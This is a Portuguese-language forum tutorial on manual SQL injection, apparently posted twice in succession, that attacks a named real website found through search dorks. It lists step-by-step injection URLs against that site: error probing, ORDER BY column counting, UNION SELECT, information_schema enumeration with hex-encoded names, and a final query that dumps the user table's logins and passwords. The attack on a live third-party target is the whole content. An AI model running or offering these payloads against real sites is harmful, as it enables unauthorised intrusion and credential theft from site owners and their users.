Bom,
Neste tutorial estarei passando a técnica de SQL Injection Avançado, isto quer dizer, sem nenhum programa...
Não estarei explicando sobre o que é SQL Injection, pois você, para estar lendo este tutorial já deve saber o que é SQL Injection.
Vamos pegar um site que muitas pessoas já devem o ter achado no Google buscando por Dorks.
Vamos então a começar a explorá-lo!
1º - Vamos descobrir a vulnerabilidade.
Para descobri-la, acrescente uma aspa simples no início do id=
Veja que o site nos retornou erros:
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in /home/relaxefa/public_html/noticias.php on line 9
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in /home/relaxefa/public_html/noticias.php on line 10
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in /home/relaxefa/public_html/noticias.php on line 11
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in /home/relaxefa/public_html/noticias.php on line 12
Feito isso, vamos para o segundo passo!
2º - Vamos descobrir quantas tabelas o site possui.
Para descobrir as tabelas, usa-se o comando order by. Veja:
Se o site não retornar erro nenhum, isto significa que aquela tabela existe. Mas vá tentando até achar um número que da erro. Por exemplo:
Sem erro.
Com erro!
Isto significa que o site possui 6 tabelas! Agora teremos que explorá-las para descobrir as colunas!
3º - Unir as tabelas para descobrir seus respectivos nomes.
Bem, agora vamos dar um passo muito importante na exploração do SQL Injection. Vamos unir todas as tabelas com o comando union all select e descobrir o nome de cada tabela.
Como sabemos que o site possui 6 tabelas, o nosso union irá até o número 6. Veja:
OBS: Repare que no início do id= coloquei um sinal de menos. Por que? Para fazer com que aquele número virasse nulo. Assim facilita muito o nosso trabalho!
Repare que não apareceu a notícia, mas apareceu o número 4 no lugar da notícia.
Agora que juntamos as tabelas, precisamos descobrir os respectivos nomes. Mas isto somente irá funcionar com versões do MySQL maiores que 5. Então, para descobrir a versão do MySQL que o site roda, é muito simples. Somente substituímos o número 4 na URL, para o comando @@version. Veja:
Repare que a versão do MySQL é: 5.0.95-community. Isto quer dizer que está tudo certo. A versão é maior que 5. Então agora vamos descobrir o nome destas tabelas.
Nas versões posteriores do MySQL 5, há uma tabela que se chama information_schema. E ela é o nosso principal alvo.
Vamos então selecioná-la com o comando from:
.
Selecionamos a tabela. Agora iremos substituir o número 4 por isso:
group_concat(table_name)
Este comando serve para mostrar o que vêm a seguir. No nosso caso o nome da tabela:
.
Agora iremos adicionar um filtro:
.
Legal, ele nos listou todos os nomes das tabelas no site:
apresentacao,banner,enquete,fique_dentro,links,log ins,mural,noticia,parceiros,publicidade,tb_album,t b_foto_album,trilhas,usuario,videos
Agora, vamos selecionar o nome da tabela que queremos explorar. No meu caso, irei explorar a tabela usuario.
4º - Explorando as tabelas para conseguir as colunas.
Vamos agora, explorar a tabela usuario, para isso faremos algumas alterações na URL:
O que mudamos:
Tiramos os parênteses do group_concat, e substituímos pelos seus respectivos códigos em hexadecimais.
O group_concat, não é mais table_name, pois agora queremos suas colunas. Portanto agora fica group_concat(column_name)
O information_schema, agora não são mais tabelas, são colunas, portanto fica assim: information_schema.columns
E também, o nosso filtro muda de table_schema, para table_name.
Daí você me pergunta. O que é aquilo que está após o sinal de = ?
Para não termos erros, às vezes mais fácil trabalhar com strings em hexadecimal. Portanto, ao invés de colocarmos o nome da tabela, convertemos ela em hexadecimal, e colocamos o atributo 0x.
Para converter nomes em hexadecimal, use o site:
Se fossemos escolher a tabela logins, seu hexadecimal ficaria: 6c6f67696e73. Lembre-se sempre de por o atributo 0x antes do código hexadecimal: 0x6c6f67696e73.
Agora veja o que nos retornou: id,nome,login,senha.
Isto quer dizer que, dentro da tabela usuario, contém as colunas id, nome, login e senha.
Vamos agora explorá-las.
5º - Explorando as colunas.
Vamos agora, obter os dados finais do site. Para isto, vamos fazer o seguinte:
Bem, agora fica bem fácil. Tiramos uma grande parte do código: information_schema.columns where table_name = 0x7573756172696f. E substituímos pelo nome da tabela, normalmente: from usuario
E, no lugar de column_name, colocamos o nome das colunas. No caso login e senha. Lembre-se, sempre separendo por vírgula o nome das colunas.
Para ficar mais fácil de visualizar, você pode fazer o seguinte:
Note que apareceu o sinal de = entre o login e a senha. Isto é muito simples. Você apenas converte o sinal de = para o hexadecimal, e o coloca entre o login e a senha dentro do group_concat: group_concat%28login,0x3d,senha%29
Lembrando sempre de por o parâmetro 0x antes dos códigos hexadecimais.
Bem, finalmente acabou. Acho que expliquei tudo certo.
Espero que gostem!
Neste tutorial estarei passando a técnica de SQL Injection Avançado, isto quer dizer, sem nenhum programa...
Não estarei explicando sobre o que é SQL Injection, pois você, para estar lendo este tutorial já deve saber o que é SQL Injection.
Vamos pegar um site que muitas pessoas já devem o ter achado no Google buscando por Dorks.
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id=1481
1º - Vamos descobrir a vulnerabilidade.
Para descobri-la, acrescente uma aspa simples no início do id=
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id='1481
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in /home/relaxefa/public_html/noticias.php on line 9
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in /home/relaxefa/public_html/noticias.php on line 10
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in /home/relaxefa/public_html/noticias.php on line 11
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in /home/relaxefa/public_html/noticias.php on line 12
Feito isso, vamos para o segundo passo!
2º - Vamos descobrir quantas tabelas o site possui.
Para descobrir as tabelas, usa-se o comando order by. Veja:
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id=1481 order by 1
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id=1481 order by 6
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id=1481 order by 7
Isto significa que o site possui 6 tabelas! Agora teremos que explorá-las para descobrir as colunas!
3º - Unir as tabelas para descobrir seus respectivos nomes.
Bem, agora vamos dar um passo muito importante na exploração do SQL Injection. Vamos unir todas as tabelas com o comando union all select e descobrir o nome de cada tabela.
Como sabemos que o site possui 6 tabelas, o nosso union irá até o número 6. Veja:
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id=-1481 union all select 1,2,3,4,5,6
Repare que não apareceu a notícia, mas apareceu o número 4 no lugar da notícia.
Agora que juntamos as tabelas, precisamos descobrir os respectivos nomes. Mas isto somente irá funcionar com versões do MySQL maiores que 5. Então, para descobrir a versão do MySQL que o site roda, é muito simples. Somente substituímos o número 4 na URL, para o comando @@version. Veja:
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id=-1481 union all select 1,2,3,@@version,5,6
Nas versões posteriores do MySQL 5, há uma tabela que se chama information_schema. E ela é o nosso principal alvo.
Vamos então selecioná-la com o comando from:
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id=-1481 union all select 1,2,3,4,5,6 from information_schema.tables
Selecionamos a tabela. Agora iremos substituir o número 4 por isso:
group_concat(table_name)
Este comando serve para mostrar o que vêm a seguir. No nosso caso o nome da tabela:
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id=-1481 union all select 1,2,3,group_concat(table_name),5,6 from information_schema.tables
Agora iremos adicionar um filtro:
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id=-1481 union all select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema = database()
Legal, ele nos listou todos os nomes das tabelas no site:
apresentacao,banner,enquete,fique_dentro,links,log ins,mural,noticia,parceiros,publicidade,tb_album,t b_foto_album,trilhas,usuario,videos
Agora, vamos selecionar o nome da tabela que queremos explorar. No meu caso, irei explorar a tabela usuario.
4º - Explorando as tabelas para conseguir as colunas.
Vamos agora, explorar a tabela usuario, para isso faremos algumas alterações na URL:
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id=-1481 union all select 1,2,3,group_concat%28column_name%29,5,6 from information_schema.columns where table_name = 0x7573756172696f
Tiramos os parênteses do group_concat, e substituímos pelos seus respectivos códigos em hexadecimais.
O group_concat, não é mais table_name, pois agora queremos suas colunas. Portanto agora fica group_concat(column_name)
O information_schema, agora não são mais tabelas, são colunas, portanto fica assim: information_schema.columns
E também, o nosso filtro muda de table_schema, para table_name.
Daí você me pergunta. O que é aquilo que está após o sinal de = ?
Para não termos erros, às vezes mais fácil trabalhar com strings em hexadecimal. Portanto, ao invés de colocarmos o nome da tabela, convertemos ela em hexadecimal, e colocamos o atributo 0x.
Para converter nomes em hexadecimal, use o site:
Código:
http://www.string-functions.com/string-hex.aspx
Agora veja o que nos retornou: id,nome,login,senha.
Isto quer dizer que, dentro da tabela usuario, contém as colunas id, nome, login e senha.
Vamos agora explorá-las.
5º - Explorando as colunas.
Vamos agora, obter os dados finais do site. Para isto, vamos fazer o seguinte:
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id=-1481 union all select 1,2,3,group_concat%28login,senha%29,5,6 from usuario
E, no lugar de column_name, colocamos o nome das colunas. No caso login e senha. Lembre-se, sempre separendo por vírgula o nome das colunas.
Para ficar mais fácil de visualizar, você pode fazer o seguinte:
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id=-1481 union all select 1,2,3,group_concat%28login,0x3d,senha%29,5,6 from usuario
Lembrando sempre de por o parâmetro 0x antes dos códigos hexadecimais.
Bem, finalmente acabou. Acho que expliquei tudo certo.
Espero que gostem!
Comment